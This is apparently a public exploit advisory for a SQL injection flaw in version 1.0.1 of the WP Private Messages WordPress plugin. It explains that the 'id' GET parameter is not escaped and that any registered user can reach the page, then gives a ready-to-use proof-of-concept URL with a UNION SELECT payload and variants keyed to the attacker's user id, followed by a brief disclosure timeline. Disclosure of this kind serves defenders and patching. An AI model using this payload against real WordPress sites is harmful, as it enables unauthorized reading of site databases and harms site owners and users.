# Exploit Title:WP Private Messages 1.0.1 – Plugin WordPress – Sql Injection# Exploit Author: Lenon Leite# Vendor Homepage: https://wordpress.org/plugins/wp-private-messages/# Software Link: https://wordpress.org/plugins/wp-private-messages/# Contact: http://twitter.com/lenonleite# Website: http://lenonleite.com.br/# Category: webapps# Version: 1.0.1# Tested on: Ubuntu 14.041- Description:
Type user access: registered user.
$_GET[‘id’]isnot escaped. Url is accessible for every registered user.
http://lenonleite.com.br/en/blog/2016/12/16/wp-private-messages-1-0-1-plugin-wordpress-sql-injection/2- Proof of Concept:1 – Login as regular user (created using wp-login.php?action=register):2-Using :
http://target/wp-admin/users.php?page=wp-private-messages%2Fwpu_private_messages.php&wpu=readid=0+UNION+SELECT+1,2,2,name,slug,6,7,8,9,10,11,12+FROM+wp_terms+WHERE++term_id%3D1&r=recieved
Obs: Use id number of your user in third column after word select. For example:
…UNION+SELECT+1,2,1,name,slug…
…UNION+SELECT+1,2,2,name,slug…
…UNION+SELECT+1,2,3,name,slug…
…UNION+SELECT+1,2,4,name,slug…
…UNION+SELECT+1,2,5,name,slug…
3- Timeline:12/12/2016 – Discovered
13/12/2016 – Vendor not finded